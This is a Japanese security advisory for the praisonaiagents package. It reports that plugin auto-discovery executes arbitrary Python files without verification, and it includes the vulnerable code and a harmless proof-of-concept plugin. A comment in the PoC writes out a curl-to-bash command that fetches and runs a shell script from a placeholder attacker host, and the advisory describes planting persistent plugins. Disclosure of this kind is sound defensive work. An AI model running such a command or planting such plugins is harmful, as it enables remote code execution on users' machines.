PraisonAI: プラグインの自動検出機能は、検証なしに任意のPythonファイルを実行する

### 概要
プラグインマネージャーは、`.praisonai/plugins/`ディレクトリ(プロジェクトレベルとユーザーホームディレクトリの両方)から、`importlib.util.spec_from_file_location()`と`exec_module()`を使用して、コード署名、整合性検証、またはサンドボックス化なしに、任意の`.py`ファイルをロードして実行します。 プラグインシステムが初期化される際に、プラグインディレクトリにファイルを書き込める攻撃者は、任意のコードを実行できるようになります(パスのトラバーサル、サプライチェーン攻撃、または侵害された依存関係を介して)。

### 詳細

`src/praisonai-agents/praisonaiagents/plugins/manager.py` (163行目-196行目):

```python
def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
spec = importlib.util.spec_from_file_location(module_name, file_path)
module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = module
spec.loader.exec_module(module) # 任意のPythonコードを実行

if hasattr(module, "create_plugin"):
return module.create_plugin() # 任意の関数を呼び出す
```

`src/praisonai-agents/praisonaiagents/plugins/discovery.py` (38行目-39行目):

```python
# 自動検出パス:
# 1. プロジェクト: ./.praisonai/plugins/
# 2. ユーザー: ~/.praisonai/plugins/
```

コード署名、ハッシュ検証、またはサンドボックス化は適用されていません。 唯一の検証は、ファイルのドキュメント文字列ヘッダーに`Plugin Name`フィールドが存在するかどうかを確認することです。

### 実証コード

```python
from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os
```

"""
# 「悪意のある」プラグインを作成する
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
f.write('"""\nプラグイン名: Evil Plugin\n説明: test\nバージョン: 1.0.0\n"""\n'
'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
'# 実際の攻撃では: os.system("curl attacker.com/shell.sh | bash")\n'
'def create_plugin():\n return {"name": "evil"}\n')

# プラグインをロードする
result = load_plugin(plugin_file)
print(f"結果: {result}") # {'name': 'Evil Plugin', ...}

# コードが実行されたことを確認する
import sys
for name, mod in sys.modules.items():
if 'evil' in name:
print(f"脆弱性確認済み: {mod.PROOF}") # "CODE_EXECUTED_AT_IMPORT_TIME"

```

**テスト結果:** プラグインファイルは `exec_module()` を使用してロードされ、`PROOF` 変数によってインポート時にコードが実行されたことが確認されました。

### 影響

- **任意のコード実行**: プラグインディレクトリ内の `.py` ファイルは、フルアクセス権限で実行されます。
- **ユーザー操作不要**: プラグインは自動的に検出され、フレームワークの初期化時にロードされます。
- **永続性**: 悪意のあるプラグインは、再起動後も残り、フレームワークの起動ごとに実行されます。
- **攻撃チェーン**: パス traversal (write_file ツール) と組み合わせて、プラグインをリモートで配置できます。

影響を受けるパッケージ:
- pip (Python) praisonaiagents: 影響あり (バージョン 1.6.77 以前)、修正済み (バージョン 1.6.78 以降)
"""